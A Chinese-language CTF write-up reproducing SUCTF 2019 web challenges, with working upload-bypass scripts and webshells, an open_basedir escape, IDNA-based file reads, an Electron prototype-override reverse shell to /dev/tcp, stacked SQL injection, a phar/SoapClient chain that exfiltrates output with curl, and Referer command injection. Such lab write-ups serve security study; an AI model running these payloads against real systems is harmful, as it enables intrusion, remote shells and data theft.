SUCTF2019 web 复现

8月中的国内赛,比起国际赛的相对容易,当时就打了一天,现在补一下

CheckIn

进去一个上传界面,直接传一个php上去

后缀被过滤

直接传一张图

提示不允许<?,也就是说检查到了内容中。这里可以用<script language="php">绕过,但问题在于需要解析为php才行

于是尝试构造.htaccess上传

检查了文件头,给.htaccess添加文件头会导致.htaccess失效,于是无法利用.htaccess来将jpg解析为php(而且后面发现服务器是nginx而不是apache

于是构造一张能上传的gif,主要是由于大一点的图片就会有<?,同时gif头比较短好构造

可以看到创建了一个文件夹并在其中有个index.php

这里要利用的是.user.ini的漏洞,这个漏洞在apache,nginx,IIS这些服务器上都能利用,只要是通过fastcgi运行的php都能够使用
具体可以参考一下这里.user.ini文件构成的PHP后门 – phith0n

.user.ini是用来自定义的一个ini,它影响的范围是该文件夹下的文件,也就是说能通过.user.ini使得不同文件夹下的php具有不同的配置。不过PHP_INI_SYSTEM模式的配置是不能.user.ini来进行配置,只能由php.ini配置。
而php中个很有用的配置auto_prepend_file,先给个例子
auto_prepend_file=config.php
这样配置完auto_prepend_file后,所有的php都会包含这个config.php。这样就可以省去在php中进行include和require一些配置文件
虽然很有用,但这也造成了漏洞,如果我们修改了auto_prepend_file并指向一个木马文件,那就可以通过访问任意站内的php去执行木马

这里利用这点,正好这个目录下自动创建了一个index.php,于是尝试去构造一个.user.ini并上传

这样如果能使用的话,再上传一个带有由一句话的gif,就能由于index.php引入了1.gif进而利用

上传后访问

成功,接着读根目录

有flag,直接cat

EasyPHP

读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

可以看出这题分为两部分,一个对hhh进行检验然后执行,还有get_the_flag()的上传文件利用

这里对hhh检验了三步
if(strlen($hhh)>18)
长度不得大于18
if(preg_match('/[\x00- 0-9A-Za-z\'"\`~&.,|=[\x7F]+/i’, $hhh))hhh不得包含0-9,a-z,A-Z,\x00-\x7f,'"~&.,|=这些符号
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
hhh包含的不同字符不得多于12

这里比较麻烦的是正则检验,其它两个可以使用{$_GET[‘x’]}绕过
绕过正则要用点小技巧,参考这里
Samik081/ctf-writeups
我们可以利用|!~^这些计算符号,去使用为过滤的字符计算出需要的字符从而绕过过滤
这里用取反或者异或都行

1
2
3
4
5
6
7
8
9
10
11
12
<?php
for($i=0x80;$i<0xff;$i++){
if(($i^0x80)==ord("_")){
echo "_:".dechex($i)."<br>";
}else if(($i^0x80)==ord("G")){
echo "G:".dechex($i)."<br>";
}else if(($i^0x80)==ord("E")){
echo "E:".dechex($i)."<br>";
}else if(($i^0x80)==ord("T")){
echo "T:".dechex($i)."<br>";
}
}

简单计算一下得到payload
_=${ %80%80%80%80^%df%c7%c5%d4 }{ %80 }();&%80=get_the_flag(这里有点格式问题就加了空格,记得删)
这里为了不同字符不多于12,将参数名设为%80%df%c7%c5%d4其中一个就行了【出题的大佬故意这么设的吧

然后到上传文件部分

1
2
3
4
5
6
7
8
9
10
11
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}

检查后缀名和内容,感觉和上题差不多,不过这次没有index.php生成,只用.user.ini.起不了效,需要.htaccess。但要使用.htaccess有个问题,由于检查了头部就必须添加图片格式的头部在.htaccess中,而如果.htaccess格式错误就会导致整个目录出错500

这里查到是原题是Insomni’hack CTF-l33t-hoster
题解使用了xbm格式
xbm文件是通过C来标识文件的,举一个例子

1
2
3
#define test_width 16 
#define test_height 7
static char test_bits[] = { 0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80, 0x00, 0x60 };

xbm被exif_imagetype()检查的部分为前两行define的部分,而.htaccess中#为注释,这样可通过exif_imagetype()检测并且.htaccess也不会出错
还有大佬测试测出使用wbmp格式,头为00008A398A39也是能够绕过并执行的,可能是由于0x00.htaccess也是注释。同时还和exif_imagetype()检查幻数有关【不太懂

绕过.htaccess后图片就简单了,随便一个图片头都可以。于是依旧尝试和上题一样用<script>但无法执行,想了想才意识到既然用了复杂变量那就是php7了,<script>无法使用。于是这里还要在.htaccess中添加php_value auto_append_file,和上题差不多。不过这次用php://filter伪协议去base64解码上传的文件,然后上传的文件里用base64编码一下就可以绕过<?

这里还要保证解压出来后还是一句话,文件头后补满到四的倍数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import base64

url = "http://b00b976d-c189-419d-9d7e-4f38e3f2db5f.node3.buuoj.cn/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag"

# .htaccess
htaccess = b"""#define width 1337
#define height 1337

AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_33c6f8457bd77fce0b109b4554e1a95c/shell.xxx"
"""
files = [('file',('.htaccess',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
r = requests.post(url=url, data=data, files=files)
print(r.text)

# shell.xxx
shell = b"GIF89aaa"+base64.b64encode(b"<?php eval($_GET['a']);?>")
files = [('file',('shell.xxx',shell,'image/jpeg'))]
data = {"upload":"Submit"}
r = requests.post(url=url, data=data, files=files)
print(r.text)

测试一下

上传成功,读波目录

没有返回,去看看phpinfo

可以看到系统函数都被ban了,那用scandir()读目录

然而是个假flag,于是直接读根目录但是不行print_r(scandir('/'));,但无返回。

回去phpinfo看看,果然又是open_basedir,绕一波读根目录

mkdir('kotori');chdir('kotori');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

mkdir('kotori');chdir('kotori');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('THis_Is_tHe_F14g'));

获得flag

不过这题的假flag中提示了fpm,后面看官方wp也提到了这个,先码着以后再看看Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

Pythonginx

看题目应该是python+nginx的题
进去F12看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

这里检查了三次hostname,要求前两次检查不为suctf.cc,最后一次为suctf.cc才会去读取。这里应该就是通过urlopen()读flag,问题是怎么绕过前两次

前面两次看起来没什么方法绕过,于是看第二次到第三次间做了什么
它这里用不同的编码进行了编码解码,可能漏洞就在这
newhost.append(h.encode('idna').decode('utf-8'))
查一下idna和utf-8可以看到很多这两个编码间转码造成的问题
而且可以查到在blackhat大会上也提到了这个
us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization

于是测试一下有什么可以使用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding:utf8 -*-

k = []
for i in range(94):
k.append([])
for x in range(65536):
try:
a = chr(x).encode('idna').decode('utf-8')
if len(a) == 1:
if ord(a)>32 and ord(a)<127:
k[ord(a)-33].append(str(hex(x)))
except:
pass
for i in range(94):
print(str(chr(i+33))+":"),
print(k[i])

跑一下可以跑出一堆,这里用0x17f代替s

然后尝试一下http://ſuctf.cc

成功回到首页,于是file协议读一波/etc/passwd

没啥东西

这时想到题目有nginx,同时源码有提示了一次

于是/usr/local/nginx/conf/nginx.conf

然后最后读flag

?url=file://ſuctf.cc/../../../../../../../../../../usr/fffffflag

看有大佬只去读了/etc/nginx/conf.d/nginx.conf没读/usr/local/nginx/conf/nginx.conf丢了一血真的亏,没怎么用nginx记一下这两个配置位置先

iCloudMusic

这题buu上没有,bot日常起不来,本地起的Electron页面也不是很好用,脑补做题法x

下载下来的压缩包中有个resources,进去后有个asar文件,可以用asar命令解包获得源码

1
2
npm install asar 安装一下asar
asar extract app.asar app 解包asar

读源码直接去看到main.js

1
2
3
4
let filter=(input)=>{
input=input.replace(/=|\'|\"|\(|\)/g,'');
return input;
}

36行处对input的输入全都进行了过滤

然后找到搜索框对应的交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
search.onclick=function(){
console.log("searching");
request.get(
"http://cloudmusic.imagemlt.xyz:3000/playlist/detail?id="+encodeURIComponent(document.getElementById("input").value)+"&time="+Date.now(),

(error,responce,body)=>{
if (!error && responce.statusCode==200){
let res=JSON.parse(body);
console.log(res);
if(res.code==200){
let currentId=remote.getCurrentWebContents().id;

searchRes.style.minHeight="400px";
let js_to_run = `
window.music_info={header:'${res.playlist.coverImgUrl}',title:'${res.playlist.name.substr(0,10).replace(/\n/g,'')}',desc:'${res.playlist.description.substr(0,50).replace(/\n/g,'')}'};
console.log(music_info);
window.pid=${res.playlist.id};
window.fid=${currentId};
avator.src=music_info['header'];
avName.innerText=music_info['title'];
avDesp.innerText=music_info['desc'];
avator.onclick=play;
refreshCode();
`
view.style.visibility="visible"
view.executeJavaScript(js_to_run)
}
}
else{
console.log(responce.statusCode);
if(responce.statusCode==404){
document.getElementById("searchRes").innerHTML="<p style='width:90%;text-align:center;color:white'>没有找到您的歌单</p>";
}
}
});
};

进行了搜索,然后将结果放入js_to_run中,再用executeJavaScript()执行js_to_run

再去看list.html

1
2
3
4
5
6
7
8
9
10
<div id="container">
<img id="avator"/>
<span id="avName"></span>
<span id="avDesp"></span>
<p>
<span id="code"></span>
<input id="captcha"/>
<a id="share">好听的话,就分享给管理员吧!</a>
</p>
</div>

有一个分享给管理员的功能,八成是XSS了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<script>
Object.freeze(document.location)
share.addEventListener('click',(e)=>{
if(window.pid!=undefined) {
request.post({
url:"http://127.0.0.1:5000/",
form:{
music:JSON.stringify(music_info),
id:window.pid,
code:captcha.value
},
headers:{
Cookie:window.session,
}
}, (error, response, body) => {
if (!error && response.statusCode == 200) {
console.log(body);
res=JSON.parse(body);
if(res.success){
share.innerText="已分享";
setTimeout(()=>{
share.innerText="好听的话,就分享给管理员吧!";
},1000)
}
else{
share.innerText="分享失败,验证码错误"
}
refreshCode();
}
else{
console.log(error,response)
}
})
}
})
</script>

这里将music_info进行json序列化后发送,不过不太懂这里的music_info是怎么获得的

id=xxx&music={"header":"xxxx","title":"xxxx","desc":"xxx"} &code=xxx

通过测试可以知道发送的参数是这样的,结合刚刚搜索框处的代码,猜测是通过id去获取music读取其中内容。因为这里的music不是通过input提交,于是可以不用理那个过滤。同时js_to_run中,header没有做任何限制,可以利用header发动攻击

像这样就能把弹回数据

{"header":"'};var xml = new XMLHttpRequest;xml.open('POST', 'ip:port', !0),xml.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'),xml.onreadystatechange = function() { 4 == xml.readyState && xml.status},xml.send('test');//","title":"xxxx","desc":"xxx"}

接入js_to_run后就第一句就成了

window.music_info={header:''};var xml = new XMLHttpRequest;xml.open('POST', 'ip:port', !0),xml.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'),xml.onreadystatechange = function() { 4 == xml.readyState && xml.status},xml.send('test');//',title:'xxxx',desc:'xxx'};

然后executeJavaScript()执行这一句就成功发出请求

不过只是弹数据不够,还需要RCE。在electron中,当nodeIntegrationtrue时,可以使用nodejs模块。也就是说当nodeIntegration设置允许时,可以通过nodejs进行RCE
但是,虽然这题nodeIntegration是允许的,但view所生成的webview窗口是与原页面分开的,也就是一个沙盒,默认nodeIntegration为关闭的,无法使用nodejs

不过题目在这里给了个hint:contextisolation
于是去查一下,可以查到
Electron v7.1 官方中文文档:安全 3)为远程内容开启上下文隔离
也就是contextIsolationfalse时,上下文不再隔离,预加载的脚本中配置就能在主上下文中修改,同时有效于预加载了该脚本的窗口中

<webview src="http://127.0.0.1:5000/list.html" preload="pr.js" id="view"></webview>

这里预加载了pr.js,不过没配置contextisolation,应该默认是关的吧

利用这个配置问题,我们可以重写函数

1
2
3
4
5
6
7
8
Function.prototype.apply2=Function.prototype.apply;
Function.prototype.apply=function(...args){
for(var i in args)
if(args[i])
console.log(args[i].toString());
return this.apply2(...args);
}
request.get('http://www.baidu.com/',null)

先像这样重写一波所有函数,输出传入的所有参数。通过暴力fuzz,去寻找process类。经过尝试使用request.get()函数时,第一个参数为process类
于是再次重写反弹shell

1
2
3
4
5
6
7
8
9
Function.prototype.apply2=Function.prototype.apply;
Function.prototype.apply=function(...args){
if(args[0]!=null && args[0]!=undefined && args[0].env!=undefined){
Function.prototype.apply=Function.prototype.apply2;
args[0].mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/XXXXXX/8080 0>&1"');
}
return this.apply2(...args)
}
request.get('http://www.baidu.com/',null)

这里除了暴力fuzz还能通过白盒审计去找寻process

process下有nextTrick()这个函数

1
2
3
4
ƒ (...args) {
process.activateUvLoop();
return func.apply(this, args);
}

使用func.apply()时传入了自身

而http库下,处理socket请求的关键函数调用了netxTrick()

1
2
3
ClientRequest.prototype.onSocket = function onSocket(socket) {
process.nextTick(onSocketNT, this, socket);
};

然后request库中请求也都是使用http库,同时自身也多次调用了netxTrick()

1
2
3
var defer = typeof setImmediate === 'undefined'
? process.nextTick
: setImmediate

不过我还是觉得比起白盒爆破应该更快Orz,毕竟pr.js中就引用了request库,会从这里开始找

做这题发现Electron这个玩意还挺好玩的样子,做出来的桌面页面有点漂亮,寒假整整玩看

easy_sql

这题其实看不太懂大佬们怎么猜出sql语句的。这题是堆叠注入,fuzz一下可以发现过滤了union,from,like,where之类的,直接查不太可能了

这里测试时会发现只有输入非零数字时才会回显,但靠这个真的猜不出语句呀Orz。后台的sql语句应该是
select $_GET['query'] || flag from flag
看到后想到可以输入true和false去测试,实际也成功了,不过不知道语句前实在想不到

得到了语句后,就想到直接去查那个列不就好了,尝试了一下flag,1,不过flag被过滤了。那就直接读全部吧,于是*,1得到flag

不过其实这题出题人想考的是||可以通过mysql的配置修改为两个字符串连接
可以看mysql的手册SQL_MODE
可以通过将mysql的模式设为PIPES_AS_CONCAT,这样||就会被认为是连接符而不是或运算。Mysql可以用set sql_mode=语句设置模式,于是构造一下payload
1;set sql_mode=PIPES_AS_CONCAT;select 1

同样可以拿到flag

Uploads labs 2

比赛时给了源码,是道审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (isset($_POST["upload"])) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$temp = explode(".", $file_name);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)
) {
$c = new Check($tmp_name);
$c->check();
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
die();
} else {
move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
}
} else {
echo "非法的文件格式";
}
}
1
2
3
4
5
6
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("&lt;? in contents!");
}
}

这次的上传没有检查文件头,只是检查了后缀和内容,猜测是phar的反序列化。一开始想着是不是file_get_contents处触发,不过想想file_name难以控制应该不是这

然后看func.php

1
2
3
4
5
6
7
8
9
10
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}

这里过滤了一堆协议,不允许以这些协议开头,这就很难搞。不过没有过滤php,于是就有大佬fuzz出php://filter/resource=phar://,tql又学到一个新操作

然后用到了file类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class File{
public $file_name;
public $type;
public $func = "Check";
function __construct($file_name){
$this->file_name = $file_name;
}
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}

function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
function __toString(){
return $this->type;
}
}

File类的__wakeup()中使用了反射类,那我们可以利用这里实例化其他类。然后在getMIME()中使用了finfo_file(),那就是利用这里反序列化phar,继而反序列化File调用__wakeup()。接下来要做什么继续看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class Ad{

public $cmd;
public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;

function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

$this->cmd = $cmd;

$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}

function check(){

$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}

function __destruct(){
system($this->cmd);
}
}

admin.php中有个Ad类,__destruct()中使用了system(),那就是要利用这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$cmd = $_POST['cmd'];

$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}

继续看下面,判断是否来自127.0.0.1,然后实例化Ad类调用check()。那就是要用soap类去访问这里

结合前面分析的,就是构造一个phar包,其中为File类,File类中的func指向SoapClient,通过SoapClient向admin.php发送请求,调用system()再用curl将数据带出
于是构造一下,在反射类那里突然发现好像自己没用过多少类,查了一下用了DateTime类【wtcl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class File{
public $file_name;
public $func = "SoapClient";
function __construct(){
$location = "http://127.0.0.1/admin.php";
$uri = "aaa";
$this->file_name = array(null, array('user_agent' => "buu\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:150\r\n\r\nadmin=1&cmd=curl -d "`ls /`" http://ip:port/&clazz=DateTime&func1=modify&func2=format&func3=setTimestamp&arg1=-1 day&arg2=Y-m-d H:i:s&arg3=1536547854",'location' => $location,'uri' => $uri));
}
}

$phar = new Phar("file.phar");
$phar->startBuffering();
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$file = new File();
$phar->setMetadata($file);
$phar->addFromString("1.txt", "test");
$phar->stopBuffering();
// curl -d "`ls`" http://ip:port/
// curl http://ip:port/?a=`/readflag`

然而这个整了一个下午我都没带出数据,把代码部署到自己服务器上尝试可以但buu上就是不行,不知道为什么了Orz

这里除了用<script>外还可以用GIF89aphp __HALT_COMPILER(); ?>绕过<?的检查,phar包有__HALT_COMPILER(); ?>作为头部的结尾就能使用

不过这题预期解是要我们用mysqli类

1
2
3
4
$m = new mysqli();
$m->init();
$m->real_connect(ip,user,psw,database,3306);
$m->query(query)

像这样,通过real_connect()可以将options()的设置覆盖掉,这样就能保证LOAD DATA INFILE能够使用。然后连接上远程的数据库,LOAD DATA INFILE一波完事

Cocktail’s Remix

这题甚至连docker都没有,也许大佬还要拿来复用?不过最近的比赛好像都没看到的样子,最重要分析的so文件都没有,真的就只能全程脑补了Orz

扫目录可以扫到robots.txt

1
2
3
4
User-agent: * 
Disallow: /info.php
Disallow: /download.php
Disallow: /config.php

info.php为phpinfo
download.php能够下载,但不知道要传入什么。抓包后发现Content-Disposition处有个filename,于是尝试filename传参

传入filename发现可以实现任意文件下载
于是去拿源码,config.php中给了mysql的账户与密码

1
2
3
4
5
<?php
//$db_server = "MysqlServer";
//$db_username = "dba";
//$db_password = "rNhHmmNkN3xu4MBYhm";
?>

拿了其它几个源码没什么用,于是去读phpinfo

在扩展中发现了一个和题目名相似的扩展,于是拿一波/usr/lib/apache2/modules/mod_cocktail.so

so文件分析就只能用大佬们给的图分析了

可以看到,35行用popen()执行了reffer中命令,猜测应该是在ap_rwrite()处就返回出来了
往上找reffer,发现reffer应该是v7经过j_remix()处理后的结果,再往上看v3看起来像头部信息,那v5应该也是头部里的信息。28行将v7与Reffer字符串比较,那应该是通过在头部设置Reffer,将值传给了v7加密后赋给reffer

然后去读j_remix()

看起来是某种编码,使用IDA的findcrypt插件可以发现有base64表,猜测是base64

于是利用此处,在头部添加Reffer,并加入base64后的命令。但由于没有权限写webshell,只能通过将mysql的数据输出到文件中再读取文件获得信息

1
2
3
4
payload:
mysql -h MysqlServer -u dba -p rNhHmmNkN3xu4MBYhm -e "show databases;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt
mysql -h MysqlServer -u dba -p rNhHmmNkN3xu4MBYhm -e "use flag;show tables;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt
mysql -h MysqlServer -u dba -p rNhHmmNkN3xu4MBYhm -e "use flag;select * from flag;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt